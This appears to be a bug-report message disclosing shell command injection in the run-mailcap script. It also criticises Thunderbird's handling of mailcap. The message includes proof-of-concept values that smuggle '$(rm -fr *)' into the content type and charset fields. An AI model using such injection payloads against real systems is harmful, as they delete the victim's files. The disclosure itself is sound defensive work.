Thanks for your interest in the issue, Frank.
I've looked into the run-mailcap(1) script (the reference parser, included in
this package), and I found it also vulnerable to shell command injection.
(Test with --norun, at your own risk.)
-- rule
text/*; /usr/bin/w3m -T %t %s
-- exploit
$ type='text/$(rm -fr *)' # e.g. from a malicious mail header
$ run-mailcap --action=view "$type":filename
-- rule
text/html; /usr/bin/w3m -I %{charset} %s
-- exploit
$ charset="'\$(rm -fr *)'" # e.g. from a malicious mail header
$ charset=$charset run-mailcap --action=view filename.html
If run-mailcap is used by some mail program or script for mailcap support, then
it's a vector for arbitrary command execution. Perhaps this deserves its own
bug report.
Quotes on the rule obviously don't help:
-- rule
text/*; /usr/bin/w3m -T '%t' '%s'
-- exploit
$ type="text/'\$(rm -fr *)' "
-- rule
text/html; /usr/bin/w3m -I '%{charset}' '%s'
-- exploit
$ charset=" '\$(rm -rf *)' "
Other run-mailcap quirks include the replacement of '' with ', breaking
commands like join -t ''. Not that you want to do that often, but such
manipulation is nonstandard nonetheless.
Fortunately run-mailcap handling of %s seems safe because, if the name contains
any shell-special punctuation or whitespace, a temporary symlink with a safe
name is created, and the link name is used instead.
Please don't try to fix the command injection issue by adding special cases. It
just makes it more complex to reason about, and there's always a way around it!
The only fix that would work with both quoted and unquoted rules is to just
reject *any* shell-special punctuation or whitespaces in %-expansions.
But even if that was acceptable, it would just encourage rule writers to do
whatever they want, and bury the security problem deeper.
Vulnerable mailcap parsers are common, in fact I haven't seen a secure one yet,
do they actually exist?
Well, it's not entirely their fault, the right thing to do is not written
anywhere; the standard is underspecified and security was not even considered.
I also tried to look into Thunderbird source code, which is huge and unfamiliar
to me, so correct me if I got something wrong.
https://hg.mozilla.org/mozilla-central/file/661f0d8ae4c44db58e668c831b555dbc038b77d0/uriloader/exthandler/unix/nsOSHelperAppService.cpp
I made a couple of disturbing discoveries:
1) Thunderbird doesn't really use the %-expansion in the rules at all!
The parsing function extracts what it thinks is the "executable name" and
returns just that.
Comments are hilarious:
"UnescapeCommand really needs some work -- it should actually do some
unescaping"
// XXX ugly hack. Just grab the executable name
...
// XXX End ugly hack
:D
2) Thunderbird gives a higher priority to non-wildcard rules, even if they
appear later.
E.g. given this two rules and a text/rtf, Thunderbird picks the second rule:
text/*; emacs %s
text/rtf; soffice %s
As a consequence, it's impossible to force the use of, say emacs, for all text
subtypes without explicitly enumerating them (generated rules can change
anytime).
This is a violation of the rfc, which states that "The configuration
information will be obtained from the FIRST matching entry".
In summary, mailcap is harmful.
And I won't feel safe until I can get rid of it.
I already have MAILCAP/MAILCAPS environment variables set to /dev/null, and NOP
rules on my /etc/mailcap:
# ----- User Section Begins ----- #
application/*; true; compose=true; composetyped=true; edit=true; print=true
audio/*; true; compose=true; composetyped=true; edit=true; print=true
font/*; true; compose=true; composetyped=true; edit=true; print=true
image/*; true; compose=true; composetyped=true; edit=true; print=true
message/*; true; compose=true; composetyped=true; edit=true; print=true
model/*; true; compose=true; composetyped=true; edit=true; print=true
multipart/*; true; compose=true; composetyped=true; edit=true; print=true
text/*; true; compose=true; composetyped=true; edit=true; print=true
video/*; true; compose=true; composetyped=true; edit=true; print=true
# ----- User Section Ends ----- #
But I've seen programs bypass both tricks and still pick a generated rule!
Now I'm considering doing this to prevent automatic update of /etc/mailcap:
# echo 'exit;' >/etc/update-mime.conf
Is this solution supported? If not, is there another way? update-mime.conf is
sourced from update-mime(8), but undocumented.
Personally, I don't like the idea of having automatic associations between
types and programs anyway, so I'm not going to miss mailcap. I'm just very
concerned about the overall quality of the system, because something is so
obviously broken and no one seems to care.